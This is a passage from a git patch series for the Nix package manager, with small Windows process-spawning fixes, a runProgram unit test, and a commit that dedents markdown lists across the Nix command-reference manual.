@@ -98,9 +98,10 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats,
 
 #if __APPLE__
     /* HFS/macOS has some undocumented security feature disabling hardlinking for
-       special files within .app dirs. *.app/Contents/PkgInfo and
-       *.app/Contents/Resources/\*.lproj seem to be the only paths affected. See
-       https://github.com/NixOS/nix/issues/1443 for more discussion. */
+       special files within .app dirs. Known affected paths include
+       *.app/Contents/{PkgInfo,Resources/\*.lproj,_CodeSignature} and .DS_Store.
+       See https://github.com/NixOS/nix/issues/1443 and 
+       https://github.com/NixOS/nix/pull/2230 for more discussion. */
 
     if (std::regex_search(path, std::regex("\\.app/Contents/.+$")))
     {

From fcb92b4fa4f260086aafdb7d9e8e51a26360b46e Mon Sep 17 00:00:00 2001
From: PoweredByPie <poweredbypie@users.noreply.github.com>
Date: Mon, 17 Jun 2024 22:14:38 -0700
Subject: [PATCH 372/528] Fix DWORD vs. int comparison warning

---
 src/libutil/windows/processes.cc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/libutil/windows/processes.cc b/src/libutil/windows/processes.cc
index a1104fa1ee1..973a2cab9ba 100644
--- a/src/libutil/windows/processes.cc
+++ b/src/libutil/windows/processes.cc
@@ -285,7 +285,7 @@ Pid spawnProcess(const Path & realProgram, const RunOptions & options, Pipe & ou
         TerminateProcess(procInfo.hProcess, 0);
         throw WinError("Couldn't assign child process to job object");
     }
-    if (ResumeThread(procInfo.hThread) == -1) {
+    if (ResumeThread(procInfo.hThread) == (DWORD) -1) {
         TerminateProcess(procInfo.hProcess, 0);
         throw WinError("Couldn't resume child process thread");
     }

From 8b81d083a72b714a5599c8243f8e05ed15d2d7c0 Mon Sep 17 00:00:00 2001
From: PoweredByPie <poweredbypie@users.noreply.github.com>
Date: Tue, 18 Jun 2024 00:55:47 -0700
Subject: [PATCH 373/528] Remove lookupPathForProgram and implement initial
 runProgram test

Apparently, CreateProcessW already searches path, so manual path search
isn't really necessary.
---
 src/libutil/windows/processes.cc | 38 +++-----------------------------
 tests/unit/libutil/spawn.cc      | 17 +++++---------
 2 files changed, 8 insertions(+), 47 deletions(-)

diff --git a/src/libutil/windows/processes.cc b/src/libutil/windows/processes.cc
index 973a2cab9ba..9cd714f8419 100644
--- a/src/libutil/windows/processes.cc
+++ b/src/libutil/windows/processes.cc
@@ -89,36 +89,6 @@ std::string runProgram(
 
     return res.second;
 }
-// Looks at the $PATH environment variable to find the program.
-// Adapted from https://github.com/nix-windows/nix/blob/windows/src/libutil/util.cc#L2276
-Path lookupPathForProgram(const Path & program)
-{
-    if (program.find('/') != program.npos || program.find('\\') != program.npos) {
-        throw UsageError("program '%1%' partially specifies its path", program);
-    }
-
-    // Possible extensions.
-    // TODO: This should actually be sourced from $PATHEXT, not hardcoded.
-    static constexpr const char * exts[] = {"", ".exe", ".cmd", ".bat"};
-
-    auto path = getEnv("PATH");
-    if (!path.has_value()) {
-        throw WinError("couldn't find PATH environment variable");
-    }
-
-    // Look through each directory listed in $PATH.
-    for (const std::string & dir : tokenizeString<Strings>(*path, ";")) {
-        // TODO: This should actually be canonPath(dir), but that ends up appending two drive paths
-        Path candidate = dir + "/" + program;
-        for (const auto ext : exts) {
-            if (pathExists(candidate + ext)) {
-                return candidate;
-            }
-        }
-    }
-
-    throw WinError("program '%1%' not found on PATH", program);
-}
 
 std::optional<Path> getProgramInterpreter(const Path & program)
 {
@@ -246,7 +216,7 @@ Pid spawnProcess(const Path & realProgram, const RunOptions & options, Pipe & ou
         }
     }
 
-    std::string cmdline = realProgram;
+    std::string cmdline = windowsEscape(realProgram, false);
     for (const auto & arg : options.args) {
         // TODO: This isn't the right way to escape windows command
         // See https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw
@@ -255,7 +225,8 @@ Pid spawnProcess(const Path & realProgram, const RunOptions & options, Pipe & ou
 
     PROCESS_INFORMATION procInfo = {0};
     if (CreateProcessW(
-            string_to_os_string(realProgram).c_str(),
+            // EXE path is provided in the cmdline
+            NULL,
             string_to_os_string(cmdline).data(),
             NULL,
             NULL,
@@ -335,9 +306,6 @@ void runProgram2(const RunOptions & options)
         in.create();
 
     Path realProgram = options.program;
-    if (options.lookupPath) {
-        realProgram = lookupPathForProgram(realProgram);
-    }
     // TODO: Implement shebang / program interpreter lookup on Windows
     auto interpreter = getProgramInterpreter(realProgram);
 
diff --git a/tests/unit/libutil/spawn.cc b/tests/unit/libutil/spawn.cc
index e84de18f1e8..c617acae08e 100644
--- a/tests/unit/libutil/spawn.cc
+++ b/tests/unit/libutil/spawn.cc
@@ -3,22 +3,15 @@
 #include "processes.hh"
 
 namespace nix {
-/*
-TEST(SpawnTest, spawnEcho)
-{
-auto output = runProgram(RunOptions{.program = "cmd", .lookupPath = true, .args = {"/C", "echo \"hello world\""}});
-std::cout << output.second << std::endl;
-}
-*/
 
 #ifdef _WIN32
-Path lookupPathForProgram(const Path & program);
-TEST(SpawnTest, pathSearch)
+TEST(SpawnTest, spawnEcho)
 {
-    ASSERT_NO_THROW(lookupPathForProgram("cmd"));
-    ASSERT_NO_THROW(lookupPathForProgram("cmd.exe"));
-    ASSERT_THROW(lookupPathForProgram("C:/System32/cmd.exe"), UsageError);
+    auto output = runProgram(RunOptions{.program = "cmd.exe", .args = {"/C", "echo", "hello world"}});
+    ASSERT_EQ(output.first, 0);
+    ASSERT_EQ(output.second, "\"hello world\"\r\n");
 }
+
 std::string windowsEscape(const std::string & str, bool cmd);
 
 TEST(SpawnTest, windowsEscape)

From b975151c090f9bf25c812e0e0b31e2ca6998123a Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Tue, 18 Jun 2024 11:26:08 +0200
Subject: [PATCH 374/528] dedent lists

this indentation is unnecessary and probably an artefact from the
migration off XML.
---
 doc/manual/src/command-ref/nix-build.md       |  18 +-
 doc/manual/src/command-ref/nix-channel.md     |  52 ++--
 .../src/command-ref/nix-copy-closure.md       |  32 +--
 doc/manual/src/command-ref/nix-env/install.md | 222 +++++++++---------
 .../src/command-ref/nix-env/opt-common.md     |  51 ++--
 .../src/command-ref/nix-env/set-flag.md       |  36 +--
 doc/manual/src/command-ref/nix-env/upgrade.md |  62 ++---
 doc/manual/src/command-ref/nix-hash.md        |  76 +++---
 doc/manual/src/command-ref/nix-instantiate.md | 182 +++++++-------
 .../src/command-ref/nix-prefetch-url.md       |  34 +--
 doc/manual/src/command-ref/nix-shell.md       |  76 +++---
 .../src/command-ref/nix-store/add-fixed.md    |   6 +-
 doc/manual/src/command-ref/nix-store/gc.md    |  36 +--
 doc/manual/src/command-ref/nix-store/query.md | 180 +++++++-------
 .../src/command-ref/nix-store/realise.md      |  30 +--
 doc/manual/src/command-ref/nix-store/serve.md |   8 +-
 .../src/command-ref/nix-store/verify.md       |  22 +-
 17 files changed, 561 insertions(+), 562 deletions(-)

diff --git a/doc/manual/src/command-ref/nix-build.md b/doc/manual/src/command-ref/nix-build.md
index e4223b54241..3bb59cbed12 100644
--- a/doc/manual/src/command-ref/nix-build.md
+++ b/doc/manual/src/command-ref/nix-build.md
@@ -55,20 +55,20 @@ All options not listed here are passed to
 [`nix-store --realise`](nix-store/realise.md),
 except for `--arg` and `--attr` / `-A` which are passed to [`nix-instantiate`](nix-instantiate.md).
 
-  - <span id="opt-no-out-link">[`--no-out-link`](#opt-no-out-link)<span>
+- <span id="opt-no-out-link">[`--no-out-link`](#opt-no-out-link)<span>
 
-    Do not create a symlink to the output path. Note that as a result
-    the output does not become a root of the garbage collector, and so
-    might be deleted by `nix-store --gc`.
+  Do not create a symlink to the output path. Note that as a result
+  the output does not become a root of the garbage collector, and so
+  might be deleted by `nix-store --gc`.
 
-  - <span id="opt-dry-run">[`--dry-run`](#opt-dry-run)</span>
+- <span id="opt-dry-run">[`--dry-run`](#opt-dry-run)</span>
 
-    Show what store paths would be built or downloaded.
+  Show what store paths would be built or downloaded.
 
-  - <span id="opt-out-link">[`--out-link`](#opt-out-link)</span> / `-o` *outlink*
+- <span id="opt-out-link">[`--out-link`](#opt-out-link)</span> / `-o` *outlink*
 
-    Change the name of the symlink to the output path created from
-    `result` to *outlink*.
+  Change the name of the symlink to the output path created from
+  `result` to *outlink*.
 
 {{#include ./status-build-failure.md}}
 
diff --git a/doc/manual/src/command-ref/nix-channel.md b/doc/manual/src/command-ref/nix-channel.md
index 99f6e37cfcf..8b58392b7b5 100644
--- a/doc/manual/src/command-ref/nix-channel.md
+++ b/doc/manual/src/command-ref/nix-channel.md
@@ -27,46 +27,46 @@ The moving parts of channels are:
 
 This command has the following operations:
 
-  - `--add` *url* \[*name*\]
+- `--add` *url* \[*name*\]
 
-    Add a channel *name* located at *url* to the list of subscribed channels.
-    If *name* is omitted, default to the last component of *url*, with the suffixes `-stable` or `-unstable` removed.
+  Add a channel *name* located at *url* to the list of subscribed channels.
+  If *name* is omitted, default to the last component of *url*, with the suffixes `-stable` or `-unstable` removed.
 
-    > **Note**
-    >
-    > `--add` does not automatically perform an update.
-    > Use `--update` explicitly.
+  > **Note**
+  >
+  > `--add` does not automatically perform an update.
+  > Use `--update` explicitly.
 
-    A channel URL must point to a directory containing a file `nixexprs.tar.gz`.
-    At the top level, that tarball must contain a single directory with a `default.nix` file that serves as the channel’s entry point.
+  A channel URL must point to a directory containing a file `nixexprs.tar.gz`.
+  At the top level, that tarball must contain a single directory with a `default.nix` file that serves as the channel’s entry point.
 
-  - `--remove` *name*
+- `--remove` *name*
 
-    Remove the channel *name* from the list of subscribed channels.
+  Remove the channel *name* from the list of subscribed channels.
 
-  - `--list`
+- `--list`
 
-    Print the names and URLs of all subscribed channels on standard output.
+  Print the names and URLs of all subscribed channels on standard output.
 
-  - `--update` \[*names*…\]
+- `--update` \[*names*…\]
 
-    Download the Nix expressions of subscribed channels and create a new generation.
-    Update all channels if none is specified, and only those included in *names* otherwise.
+  Download the Nix expressions of subscribed channels and create a new generation.
+  Update all channels if none is specified, and only those included in *names* otherwise.
 
-  - `--list-generations`
+- `--list-generations`
 
-    Prints a list of all the current existing generations for the
-    channel profile.
+  Prints a list of all the current existing generations for the
+  channel profile.
 
-    Works the same way as
-    ```
-    nix-env --profile /nix/var/nix/profiles/per-user/$USER/channels --list-generations
-    ```
+  Works the same way as
+  ```
+  nix-env --profile /nix/var/nix/profiles/per-user/$USER/channels --list-generations
+  ```
 
-  - `--rollback` \[*generation*\]
+- `--rollback` \[*generation*\]
 
-    Revert channels to the state before the last call to `nix-channel --update`.
-    Optionally, you can specify a specific channel *generation* number to restore.
+  Revert channels to the state before the last call to `nix-channel --update`.
+  Optionally, you can specify a specific channel *generation* number to restore.
 
 {{#include ./opt-common.md}}
 
diff --git a/doc/manual/src/command-ref/nix-copy-closure.md b/doc/manual/src/command-ref/nix-copy-closure.md
index d94bde3a35a..8cfd6ebad56 100644
--- a/doc/manual/src/command-ref/nix-copy-closure.md
+++ b/doc/manual/src/command-ref/nix-copy-closure.md
@@ -27,38 +27,38 @@ When using public key authentication, you can avoid typing the passphrase with `
 
 # Options
 
-  - `--to`
+- `--to`
 
-    Copy the closure of _paths_ from a Nix store accessible from the local machine to the Nix store on the remote _machine_.
-    This is the default behavior.
+  Copy the closure of _paths_ from a Nix store accessible from the local machine to the Nix store on the remote _machine_.
+  This is the default behavior.
 
-  - `--from`
+- `--from`
 
-    Copy the closure of _paths_ from the Nix store on the remote _machine_ to the local machine's specified Nix store.
+  Copy the closure of _paths_ from the Nix store on the remote _machine_ to the local machine's specified Nix store.
 
-  - `--gzip`
+- `--gzip`
 
-    Enable compression of the SSH connection.
+  Enable compression of the SSH connection.
 
-  - `--include-outputs`
+- `--include-outputs`
 
-    Also copy the outputs of [store derivation]s included in the closure.
+  Also copy the outputs of [store derivation]s included in the closure.
 
-    [store derivation]: @docroot@/glossary.md#gloss-store-derivation
+  [store derivation]: @docroot@/glossary.md#gloss-store-derivation
 
-  - `--use-substitutes` / `-s`
+- `--use-substitutes` / `-s`
 
-    Attempt to download missing store objects on the target from [substituters](@docroot@/command-ref/conf-file.md#conf-substituters).
-    Any store objects that cannot be substituted on the target are still copied normally from the source.
-    This is useful, for instance, if the connection between the source and target machine is slow, but the connection between the target machine and `cache.nixos.org` (the default binary cache server) is fast.
+  Attempt to download missing store objects on the target from [substituters](@docroot@/command-ref/conf-file.md#conf-substituters).
+  Any store objects that cannot be substituted on the target are still copied normally from the source.
+  This is useful, for instance, if the connection between the source and target machine is slow, but the connection between the target machine and `cache.nixos.org` (the default binary cache server) is fast.
 
 {{#include ./opt-common.md}}
 
 # Environment variables
 
-  - `NIX_SSHOPTS`
+- `NIX_SSHOPTS`
 
-    Additional options to be passed to `ssh` on the command line.
+  Additional options to be passed to `ssh` on the command line.
 
 {{#include ./env-common.md}}
 
diff --git a/doc/manual/src/command-ref/nix-env/install.md b/doc/manual/src/command-ref/nix-env/install.md
index 85f37904f52..76aa70f71b9 100644
--- a/doc/manual/src/command-ref/nix-env/install.md
+++ b/doc/manual/src/command-ref/nix-env/install.md
@@ -21,125 +21,125 @@ It is based on the current generation of the active [profile](@docroot@/command-
 
 The arguments *args* map to store paths in a number of possible ways:
 
-  - By default, *args* is a set of [derivation] names denoting derivations in the [default Nix expression].
-    These are [realised], and the resulting output paths are installed.
-    Currently installed derivations with a name equal to the name of a derivation being added are removed unless the option `--preserve-installed` is specified.
-
-    [derivation]: @docroot@/glossary.md#gloss-derivation
-    [default Nix expression]: @docroot@/command-ref/files/default-nix-expression.md
-    [realised]: @docroot@/glossary.md#gloss-realise
-
-    If there are multiple derivations matching a name in *args* that
-    have the same name (e.g., `gcc-3.3.6` and `gcc-4.1.1`), then the
-    derivation with the highest *priority* is used. A derivation can
-    define a priority by declaring the `meta.priority` attribute. This
-    attribute should be a number, with a higher value denoting a lower
-    priority. The default priority is `5`.
-
-    If there are multiple matching derivations with the same priority,
-    then the derivation with the highest version will be installed.
-
-    You can force the installation of multiple derivations with the same
-    name by being specific about the versions. For instance, `nix-env --install
-    gcc-3.3.6 gcc-4.1.1` will install both version of GCC (and will
-    probably cause a user environment conflict\!).
-
-  - If [`--attr`](#opt-attr) / `-A` is specified, the arguments are *attribute paths* that select attributes from the [default Nix expression].
-    This is faster than using derivation names and unambiguous.
-    Show the attribute paths of available packages with [`nix-env --query`](./query.md):
-
-    ```console
-    nix-env --query --available --attr-path
-    ```
-
-  - If `--from-profile` *path* is given, *args* is a set of names
-    denoting installed [store paths] in the profile *path*. This is an
-    easy way to copy user environment elements from one profile to
-    another.
-
-  - If `--from-expression` is given, *args* are [Nix language functions](@docroot@/language/constructs.md#functions) that are called with the [default Nix expression] as their single argument.
-    The derivations returned by those function calls are installed.
-    This allows derivations to be specified in an unambiguous way, which is necessary if there are multiple derivations with the same name.
-
-  - If *args* are [store derivations](@docroot@/glossary.md#gloss-store-derivation), then these are [realised], and the resulting output paths are installed.
-
-  - If *args* are [store paths] that are not store derivations, then these are [realised] and installed.
-
-  - By default all [outputs](@docroot@/language/derivations.md#attr-outputs) are installed for each [derivation].
-    This can be overridden by adding a `meta.outputsToInstall` attribute on the derivation listing a subset of the output names.
-
-    Example:
-
-    The file `example.nix` defines a derivation with two outputs `foo` and `bar`, each containing a file.
-
-    ```nix
-    # example.nix
-    let
-      pkgs = import <nixpkgs> {};
-      command = ''
-        ${pkgs.coreutils}/bin/mkdir -p $foo $bar
-        echo foo > $foo/foo-file
-        echo bar > $bar/bar-file
-      '';
-    in
-    derivation {
-      name = "example";
-      builder = "${pkgs.bash}/bin/bash";
-      args = [ "-c" command ];
-      outputs = [ "foo" "bar" ];
-      system = builtins.currentSystem;
-    }
-    ```
-
-    Installing from this Nix expression will make files from both outputs appear in the current profile.
-
-    ```console
-    $ nix-env --install --file example.nix
-    installing 'example'
-    $ ls ~/.nix-profile
-    foo-file
-    bar-file
-    manifest.nix
-    ```
-
-    Adding `meta.outputsToInstall` to that derivation will make `nix-env` only install files from the specified outputs.
-
-    ```nix
-    # example-outputs.nix
-    import ./example.nix // { meta.outputsToInstall = [ "bar" ]; }
-    ```
-
-    ```console
-    $ nix-env --install --file example-outputs.nix
-    installing 'example'
-    $ ls ~/.nix-profile
-    bar-file
-    manifest.nix
-    ```
+- By default, *args* is a set of [derivation] names denoting derivations in the [default Nix expression].
+  These are [realised], and the resulting output paths are installed.
+  Currently installed derivations with a name equal to the name of a derivation being added are removed unless the option `--preserve-installed` is specified.
+
+  [derivation]: @docroot@/glossary.md#gloss-derivation
+  [default Nix expression]: @docroot@/command-ref/files/default-nix-expression.md
+  [realised]: @docroot@/glossary.md#gloss-realise
+
+  If there are multiple derivations matching a name in *args* that
+  have the same name (e.g., `gcc-3.3.6` and `gcc-4.1.1`), then the
+  derivation with the highest *priority* is used. A derivation can
+  define a priority by declaring the `meta.priority` attribute. This
+  attribute should be a number, with a higher value denoting a lower
+  priority. The default priority is `5`.
+
+  If there are multiple matching derivations with the same priority,
+  then the derivation with the highest version will be installed.
+
+  You can force the installation of multiple derivations with the same
+  name by being specific about the versions. For instance, `nix-env --install
+  gcc-3.3.6 gcc-4.1.1` will install both version of GCC (and will
+  probably cause a user environment conflict\!).
+
+- If [`--attr`](#opt-attr) / `-A` is specified, the arguments are *attribute paths* that select attributes from the [default Nix expression].
+  This is faster than using derivation names and unambiguous.
+  Show the attribute paths of available packages with [`nix-env --query`](./query.md):
+
+  ```console
+  nix-env --query --available --attr-path
+  ```
+
+- If `--from-profile` *path* is given, *args* is a set of names
+  denoting installed [store paths] in the profile *path*. This is an
+  easy way to copy user environment elements from one profile to
+  another.
+
+- If `--from-expression` is given, *args* are [Nix language functions](@docroot@/language/constructs.md#functions) that are called with the [default Nix expression] as their single argument.
+  The derivations returned by those function calls are installed.
+  This allows derivations to be specified in an unambiguous way, which is necessary if there are multiple derivations with the same name.
+
+- If *args* are [store derivations](@docroot@/glossary.md#gloss-store-derivation), then these are [realised], and the resulting output paths are installed.
+
+- If *args* are [store paths] that are not store derivations, then these are [realised] and installed.
+
+- By default all [outputs](@docroot@/language/derivations.md#attr-outputs) are installed for each [derivation].
+  This can be overridden by adding a `meta.outputsToInstall` attribute on the derivation listing a subset of the output names.
+
+  Example:
+
+  The file `example.nix` defines a derivation with two outputs `foo` and `bar`, each containing a file.
+
+  ```nix
+  # example.nix
+  let
+    pkgs = import <nixpkgs> {};
+    command = ''
+      ${pkgs.coreutils}/bin/mkdir -p $foo $bar
+      echo foo > $foo/foo-file
+      echo bar > $bar/bar-file
+    '';
+  in
+  derivation {
+    name = "example";
+    builder = "${pkgs.bash}/bin/bash";
+    args = [ "-c" command ];
+    outputs = [ "foo" "bar" ];
+    system = builtins.currentSystem;
+  }
+  ```
+
+  Installing from this Nix expression will make files from both outputs appear in the current profile.
+
+  ```console
+  $ nix-env --install --file example.nix
+  installing 'example'
+  $ ls ~/.nix-profile
+  foo-file
+  bar-file
+  manifest.nix
+  ```
+
+  Adding `meta.outputsToInstall` to that derivation will make `nix-env` only install files from the specified outputs.
+
+  ```nix
+  # example-outputs.nix
+  import ./example.nix // { meta.outputsToInstall = [ "bar" ]; }
+  ```
+
+  ```console
+  $ nix-env --install --file example-outputs.nix
+  installing 'example'
+  $ ls ~/.nix-profile
+  bar-file
+  manifest.nix
+  ```
 
 # Options
 
-  - `--prebuilt-only` / `-b`
+- `--prebuilt-only` / `-b`
 
-    Use only derivations for which a substitute is registered, i.e.,
-    there is a pre-built binary available that can be downloaded in lieu
-    of building the derivation. Thus, no packages will be built from
-    source.
+  Use only derivations for which a substitute is registered, i.e.,
+  there is a pre-built binary available that can be downloaded in lieu
+  of building the derivation. Thus, no packages will be built from
+  source.
 
-  - `--preserve-installed` / `-P`
+- `--preserve-installed` / `-P`
 
-    Do not remove derivations with a name matching one of the
-    derivations being installed. Usually, trying to have two versions of
-    the same package installed in the same generation of a profile will
-    lead to an error in building the generation, due to file name
-    clashes between the two versions. However, this is not the case for
-    all packages.
+  Do not remove derivations with a name matching one of the
+  derivations being installed. Usually, trying to have two versions of
+  the same package installed in the same generation of a profile will
+  lead to an error in building the generation, due to file name
+  clashes between the two versions. However, this is not the case for
+  all packages.
 
-  - `--remove-all` / `-r`
+- `--remove-all` / `-r`
 
-    Remove all previously installed packages first. This is equivalent
-    to running `nix-env --uninstall '.*'` first, except that everything happens
-    in a single transaction.
+  Remove all previously installed packages first. This is equivalent
+  to running `nix-env --uninstall '.*'` first, except that everything happens
+  in a single transaction.
 
 {{#include ./opt-common.md}}
 
diff --git a/doc/manual/src/command-ref/nix-env/opt-common.md b/doc/manual/src/command-ref/nix-env/opt-common.md
index 3ece3e8814a..1479ca0bd47 100644
--- a/doc/manual/src/command-ref/nix-env/opt-common.md
+++ b/doc/manual/src/command-ref/nix-env/opt-common.md
@@ -2,38 +2,37 @@
 
 The following options are allowed for all `nix-env` operations, but may not always have an effect.
 
-  - `--file` / `-f` *path*
+- `--file` / `-f` *path*
 
-    Specifies the Nix expression (designated below as the *active Nix
-    expression*) used by the `--install`, `--upgrade`, and `--query
-    --available` operations to obtain derivations. The default is
-    `~/.nix-defexpr`.
+  Specifies the Nix expression (designated below as the *active Nix
+  expression*) used by the `--install`, `--upgrade`, and `--query
+  --available` operations to obtain derivations. The default is
+  `~/.nix-defexpr`.
 
-    If the argument starts with `http://` or `https://`, it is
-    interpreted as the URL of a tarball that will be downloaded and
-    unpacked to a temporary location. The tarball must include a single
-    top-level directory containing at least a file named `default.nix`.
+  If the argument starts with `http://` or `https://`, it is
+  interpreted as the URL of a tarball that will be downloaded and
+  unpacked to a temporary location. The tarball must include a single
+  top-level directory containing at least a file named `default.nix`.
 
-  - `--profile` / `-p` *path*
+- `--profile` / `-p` *path*
 
-    Specifies the profile to be used by those operations that operate on
-    a profile (designated below as the *active profile*). A profile is a
-    sequence of user environments called *generations*, one of which is
-    the *current generation*.
+  Specifies the profile to be used by those operations that operate on
+  a profile (designated below as the *active profile*). A profile is a
+  sequence of user environments called *generations*, one of which is
+  the *current generation*.
 
-  - `--dry-run`
+- `--dry-run`
 
-    For the `--install`, `--upgrade`, `--uninstall`,
-    `--switch-generation`, `--delete-generations` and `--rollback`
-    operations, this flag will cause `nix-env` to print what *would* be
-    done if this flag had not been specified, without actually doing it.
+  For the `--install`, `--upgrade`, `--uninstall`,
+  `--switch-generation`, `--delete-generations` and `--rollback`
+  operations, this flag will cause `nix-env` to print what *would* be
+  done if this flag had not been specified, without actually doing it.
 
-    `--dry-run` also prints out which paths will be
-    [substituted](@docroot@/glossary.md) (i.e., downloaded) and which paths
-    will be built from source (because no substitute is available).
+  `--dry-run` also prints out which paths will be
+  [substituted](@docroot@/glossary.md) (i.e., downloaded) and which paths
+  will be built from source (because no substitute is available).
 
-  - `--system-filter` *system*
+- `--system-filter` *system*
 
-    By default, operations such as `--query
-                    --available` show derivations matching any platform. This option
-    allows you to use derivations for the specified platform *system*.
+  By default, operations such as `--query --available` show derivations matching any platform. This option
+  allows you to use derivations for the specified platform *system*.
diff --git a/doc/manual/src/command-ref/nix-env/set-flag.md b/doc/manual/src/command-ref/nix-env/set-flag.md
index e04b22a918a..58a0248bba9 100644
--- a/doc/manual/src/command-ref/nix-env/set-flag.md
+++ b/doc/manual/src/command-ref/nix-env/set-flag.md
@@ -13,24 +13,24 @@ to be modified. There are several attributes that can be usefully
 modified, because they affect the behaviour of `nix-env` or the user
 environment build script:
 
-  - `priority` can be changed to resolve filename clashes. The user
-    environment build script uses the `meta.priority` attribute of
-    derivations to resolve filename collisions between packages. Lower
-    priority values denote a higher priority. For instance, the GCC
-    wrapper package and the Binutils package in Nixpkgs both have a file
-    `bin/ld`, so previously if you tried to install both you would get a
-    collision. Now, on the other hand, the GCC wrapper declares a higher
-    priority than Binutils, so the former’s `bin/ld` is symlinked in the
-    user environment.
-
-  - `keep` can be set to `true` to prevent the package from being
-    upgraded or replaced. This is useful if you want to hang on to an
-    older version of a package.
-
-  - `active` can be set to `false` to “disable” the package. That is, no
-    symlinks will be generated to the files of the package, but it
-    remains part of the profile (so it won’t be garbage-collected). It
-    can be set back to `true` to re-enable the package.
+- `priority` can be changed to resolve filename clashes. The user
+  environment build script uses the `meta.priority` attribute of
+  derivations to resolve filename collisions between packages. Lower
+  priority values denote a higher priority. For instance, the GCC
+  wrapper package and the Binutils package in Nixpkgs both have a file
+  `bin/ld`, so previously if you tried to install both you would get a
+  collision. Now, on the other hand, the GCC wrapper declares a higher
+  priority than Binutils, so the former’s `bin/ld` is symlinked in the
+  user environment.
+
+- `keep` can be set to `true` to prevent the package from being
+  upgraded or replaced. This is useful if you want to hang on to an
+  older version of a package.
+
+- `active` can be set to `false` to “disable” the package. That is, no
+  symlinks will be generated to the files of the package, but it
+  remains part of the profile (so it won’t be garbage-collected). It
+  can be set back to `true` to re-enable the package.
 
 {{#include ./opt-common.md}}
 
diff --git a/doc/manual/src/command-ref/nix-env/upgrade.md b/doc/manual/src/command-ref/nix-env/upgrade.md
index dc99064b954..2779363c34a 100644
--- a/doc/manual/src/command-ref/nix-env/upgrade.md
+++ b/doc/manual/src/command-ref/nix-env/upgrade.md
@@ -28,48 +28,48 @@ version is installed.
 
 # Flags
 
-  - `--lt`
+- `--lt`
 
-    Only upgrade a derivation to newer versions. This is the default.
+  Only upgrade a derivation to newer versions. This is the default.
 
-  - `--leq`
+- `--leq`
 
-    In addition to upgrading to newer versions, also “upgrade” to
-    derivations that have the same version. Version are not a unique
-    identification of a derivation, so there may be many derivations
-    that have the same version. This flag may be useful to force
-    “synchronisation” between the installed and available derivations.
+  In addition to upgrading to newer versions, also “upgrade” to
+  derivations that have the same version. Version are not a unique
+  identification of a derivation, so there may be many derivations
+  that have the same version. This flag may be useful to force
+  “synchronisation” between the installed and available derivations.
 
-  - `--eq`
+- `--eq`
 
-    *Only* “upgrade” to derivations that have the same version. This may
-    not seem very useful, but it actually is, e.g., when there is a new
-    release of Nixpkgs and you want to replace installed applications
-    with the same versions built against newer dependencies (to reduce
-    the number of dependencies floating around on your system).
+  *Only* “upgrade” to derivations that have the same version. This may
+  not seem very useful, but it actually is, e.g., when there is a new
+  release of Nixpkgs and you want to replace installed applications
+  with the same versions built against newer dependencies (to reduce
+  the number of dependencies floating around on your system).
 
-  - `--always`
+- `--always`
 
-    In addition to upgrading to newer versions, also “upgrade” to
-    derivations that have the same or a lower version. I.e., derivations
-    may actually be downgraded depending on what is available in the
-    active Nix expression.
+  In addition to upgrading to newer versions, also “upgrade” to
+  derivations that have the same or a lower version. I.e., derivations
+  may actually be downgraded depending on what is available in the
+  active Nix expression.
 
-  - `--prebuilt-only` / `-b`
+- `--prebuilt-only` / `-b`
 
-    Use only derivations for which a substitute is registered, i.e.,
-    there is a pre-built binary available that can be downloaded in lieu
-    of building the derivation. Thus, no packages will be built from
-    source.
+  Use only derivations for which a substitute is registered, i.e.,
+  there is a pre-built binary available that can be downloaded in lieu
+  of building the derivation. Thus, no packages will be built from
+  source.
 
-  - `--preserve-installed` / `-P`
+- `--preserve-installed` / `-P`
 
-    Do not remove derivations with a name matching one of the
-    derivations being installed. Usually, trying to have two versions of
-    the same package installed in the same generation of a profile will
-    lead to an error in building the generation, due to file name
-    clashes between the two versions. However, this is not the case for
-    all packages.
+  Do not remove derivations with a name matching one of the
+  derivations being installed. Usually, trying to have two versions of
+  the same package installed in the same generation of a profile will
+  lead to an error in building the generation, due to file name
+  clashes between the two versions. However, this is not the case for
+  all packages.
 
 {{#include ./opt-common.md}}
 
diff --git a/doc/manual/src/command-ref/nix-hash.md b/doc/manual/src/command-ref/nix-hash.md
index 4762600c29f..f249c2b84d6 100644
--- a/doc/manual/src/command-ref/nix-hash.md
+++ b/doc/manual/src/command-ref/nix-hash.md
@@ -29,65 +29,65 @@ md5sum`.
 
 # Options
 
-  - `--flat`
+- `--flat`
 
-    Print the cryptographic hash of the contents of each regular file *path*.
-    That is, instead of computing
-    the hash of the [Nix Archive (NAR)](@docroot@/store/file-system-object/content-address.md#serial-nix-archive) of *path*,
-    just [directly hash]((@docroot@/store/file-system-object/content-address.md#serial-flat) *path* as is.
-    This requires *path* to resolve to a regular file rather than directory.
-    The result is identical to that produced by the GNU commands
-    `md5sum` and `sha1sum`.
+  Print the cryptographic hash of the contents of each regular file *path*.
+  That is, instead of computing
+  the hash of the [Nix Archive (NAR)](@docroot@/store/file-system-object/content-address.md#serial-nix-archive) of *path*,
+  just [directly hash]((@docroot@/store/file-system-object/content-address.md#serial-flat) *path* as is.
+  This requires *path* to resolve to a regular file rather than directory.
+  The result is identical to that produced by the GNU commands
+  `md5sum` and `sha1sum`.
 
-  - `--base16`
+- `--base16`
 
-    Print the hash in a hexadecimal representation (default).
+  Print the hash in a hexadecimal representation (default).
 
-  - `--base32`
+- `--base32`
 
-    Print the hash in a base-32 representation rather than hexadecimal.
-    This base-32 representation is more compact and can be used in Nix
-    expressions (such as in calls to `fetchurl`).
+  Print the hash in a base-32 representation rather than hexadecimal.
+  This base-32 representation is more compact and can be used in Nix
+  expressions (such as in calls to `fetchurl`).
 
-  - `--base64`
+- `--base64`
 
-    Similar to --base32, but print the hash in a base-64 representation,
-    which is more compact than the base-32 one.
+  Similar to --base32, but print the hash in a base-64 representation,
+  which is more compact than the base-32 one.
 
-  - `--sri`
+- `--sri`
 
-    Print the hash in SRI format with base-64 encoding.
-    The type of hash algorithm will be prepended to the hash string,
-    followed by a hyphen (-) and the base-64 hash body.
+  Print the hash in SRI format with base-64 encoding.
+  The type of hash algorithm will be prepended to the hash string,
+  followed by a hyphen (-) and the base-64 hash body.
 
-  - `--truncate`
+- `--truncate`
 
-    Truncate hashes longer than 160 bits (such as SHA-256) to 160 bits.
